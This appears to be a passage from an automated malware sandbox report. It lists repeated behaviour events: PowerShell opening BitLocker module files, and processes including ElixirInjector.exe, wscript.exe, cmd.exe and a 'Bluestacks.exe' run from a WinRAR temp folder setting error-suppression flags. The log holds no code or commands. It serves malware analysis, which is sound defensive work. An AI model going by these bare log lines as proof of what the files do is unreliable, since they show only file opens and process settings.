              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Users\user\Desktop\ElixirInjector.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
